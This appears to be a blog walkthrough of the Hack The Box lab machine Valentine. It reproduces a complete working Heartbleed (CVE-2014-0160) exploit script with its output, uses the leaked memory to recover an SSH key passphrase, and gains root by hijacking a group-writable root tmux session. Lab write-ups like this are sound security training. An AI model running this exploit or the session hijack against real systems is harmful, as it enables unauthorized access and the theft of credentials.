HTB: Valentine
Valentine
Valentine was next after Grandpa. I’m pretty sure I once fell asleep watching the start of the Ippsec walkthrough of this but I didn’t remember anything about it. When it booted I thought I have a feeling this is SLQi. Lol.
Ports
SSH plus HTTP and HTTPS only.
HTTP
I don’t know if it was the graphic or something buried in my subconcious but when I saw the frontpage I immediately thought this is Heartbleed. I had heard of it, but never actually encountered it before. There aren’t many bugs that have their own website. It’s essentially an information leak caused by a bug in OpenSSL. I used code from here. In fact I’m going to reproduce it here just in case that page goes offline:
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
# ClientHello
helloPacket = (
'16 03 02 00 31' # Content type = 16 (handshake message); Version = 03 02; Packet length = 00 31
'01 00 00 2d' # Message type = 01 (client hello); Length = 00 00 2d
'03 02' # Client version = 03 02 (TLS 1.1)
# Random (uint32 time followed by 28 random bytes):
'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'
'00' # Session id = 00
'00 04 ' # Cipher suite length
'00 33 c0 11' # 4 cipher suites
'01' # Compression methods length
'00' # Compression method 0: no compression = 0
'00 00' # Extensions length = 0
).replace(' ', '').decode('hex')
# This is the packet that triggers the memory over-read.
# The heartbeat protocol works by returning to the client the same data that was sent;
# that is, if we send "abcd" the server will return "abcd".
# The flaw is triggered when we tell the server that we are sending a message that is X bytes long
# (64 kB in this case), but we send a shorter message; OpenSSL won't check if we really sent the X bytes of data.
# The server will store our message, then read the X bytes of data from its memory
# (it reads the memory region where our message is supposedly stored) and send that read message back.
# Because we didn't send any message at all
# (we just told that we sent FF FF bytes, but no message was sent after that)
# when OpenSSL receives our message, it wont overwrite any of OpenSSL's memory.
# Because of that, the received message will contain X bytes of actual OpenSSL memory.
heartbleedPacket = (
'18 03 02 00 03' # Content type = 18 (heartbeat message); Version = 03 02; Packet length = 00 03
'01 FF FF' # Heartbeat message type = 01 (request); Payload length = FF FF
# Missing a message that is supposed to be FF FF bytes long
).replace(' ', '').decode('hex')
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def dump(s):
packetData = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in s)
print '%s' % (packetData)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
# Wait until the socket is ready to be read
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
# When you request the 64 kB of data, the server won't tell you that it will send you 4 packets.
# But you expect that because TLS packets are sliced if they are bigger than 16 kB.
# Sometimes, (for some misterious reason) the server wont send you the 4 packets;
# in that case, this function will return the data that DO has arrived.
def receiveTLSMessage(s, fragments = 1):
contentType = None
version = None
length = None
payload = ''
# The server may send less fragments. Because of that, this will return partial data.
for fragmentIndex in range(0, fragments):
tlsHeader = recvall(s, 5) # Receive 5 byte header (Content type, version, and length)
if tlsHeader is None:
print 'Unexpected EOF receiving record header - server closed connection'
return contentType, version, payload # Return what we currently have
contentType, version, length = struct.unpack('>BHH', tlsHeader) # Unpack the header
payload_tmp = recvall(s, length, 5) # Receive the data that the server told us it'd send
if payload_tmp is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return contentType, version, payload # Return what we currently have
print 'Received message: type = %d, ver = %04x, length = %d' % (contentType, version, len(payload_tmp))
payload = payload + payload_tmp
return contentType, version, payload
def exploit(s):
s.send(heartbleedPacket)
# We asked for 64 kB, so we should get 4 packets
contentType, version, payload = receiveTLSMessage(s, 4)
if contentType is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if contentType == 24:
print 'Received heartbeat response:'
dump(payload)
if len(payload) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if contentType == 21:
print 'Received alert:'
dump(payload)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(helloPacket)
print 'Waiting for Server Hello...'
sys.stdout.flush()
# Receive packets until we get a hello done packet
while True:
contentType, version, payload = receiveTLSMessage(s)
if contentType == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if contentType == 22 and ord(payload[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
# Jared Stafford's version sends heartbleed packet here too. It may be a bug.
exploit(s)
if __name__ == '__main__':
main()
Right. That was a bit long. Anyway, checking it via:
┌──(root💀kali)-[/opt/htb/valentine]
└─# ./demo.py 10.10.10.79
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Received message: type = 22, ver = 0302, length = 74
Received message: type = 22, ver = 0302, length = 885
Received message: type = 22, ver = 0302, length = 781
Received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
# etc - lots of stuff
WARNING: server returned more data than it should - server is vulnerable!
Okay so that’s good, but there was nothing juicy in the leaked information. Time to poke around the webserver:
──(root💀kali)-[/opt/htb/valentine]
└─# feroxbuster -u http://10.10.10.79/ -w /usr/share/seclists/Discovery/Web-Content/common.txt 130 ⨯
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.2.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.79/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.2.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 1l 2w 38c http://10.10.10.79/index.php
403 10l 30w 283c http://10.10.10.79/.hta
200 1l 2w 38c http://10.10.10.79/index
403 10l 30w 288c http://10.10.10.79/.htpasswd
200 27l 54w 554c http://10.10.10.79/encode
301 9l 28w 308c http://10.10.10.79/dev
403 10l 30w 287c http://10.10.10.79/dev/.hta
403 10l 30w 287c http://10.10.10.79/cgi-bin/
200 25l 54w 552c http://10.10.10.79/decode
403 10l 30w 288c http://10.10.10.79/.htaccess
403 10l 30w 292c http://10.10.10.79/dev/.htpasswd
403 10l 30w 291c http://10.10.10.79/cgi-bin/.hta
403 10l 30w 292c http://10.10.10.79/server-status
200 8l 39w 227c http://10.10.10.79/dev/notes
403 10l 30w 296c http://10.10.10.79/cgi-bin/.htpasswd
403 10l 30w 292c http://10.10.10.79/dev/.htaccess
403 10l 30w 296c http://10.10.10.79/cgi-bin/.htaccess
[####################] - 42s 14043/14043 0s found:17 errors:12
[####################] - 35s 4681/4681 152/s http://10.10.10.79/
[####################] - 26s 4681/4681 179/s http://10.10.10.79/dev
[####################] - 23s 4681/4681 197/s http://10.10.10.79/cgi-bin/
/dev, /encode and /decode sound interesting?
/dev contains a file called hype_key, which is a hex-encoded encrypted SSH private key. It also contains a note:
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don’t use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
/encode and /decode are simple pages that do base64 encoding and decoding. But what if we do that and then run our heartbleed code? In amongst the cruft, we see this:
Received heartbeat response:
...-..P....Z.>......c.3A7..l..$`.Ig.......3......127.0.0.1..Accept: */*..Cookie: PHPSESSID=n12acqnj0efoq5etm5d12k6j85..User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.A..........2.
Which contains the base64 encoded passphrase for our SSH private key. Now we can SSH in as hype.
Privesc
The kernel is super old (Ubuntu 12.04) and linpeas is almost certain a kernel exploit should work. I try the two that seem likely candidates, but no dice. What else?
Tmux
Linpeas also highlights tmux. I hadn’t seen this before; this Medium (ugh) post explains how to hijack the session:
Look for root /usr/bin/tmux running process that allows our group to rw in order to hijack root shell
hype@Valentine:/$ ps aux | grep root
# other stuff
root 1058 0.0 0.1 26416 1672 ? Ss 01:45 0:00 /usr/bin/tmux -S /.devs/dev_sess
# other stuff
Check we can read/write…
hype@Valentine:/$ ls -lash /.devs/dev_sess
0 srw-rw---- 1 root hype 0 Mar 15 01:45 /.devs/dev_sess
Now do the same command you see running in your user terminal that has group membership allowing rw to attach to the session…
hype@Valentine:/$ tmux -S /.devs/dev_sess
# new tmux window
root@Valentine:/# id;hostname
uid=0(root) gid=0(root) groups=0(root)
Valentine
Neato completo! This was a bit CTF-like in the early stage but it was a nice demonstration of the bug and a privesc I hadn’t seen before. Nice.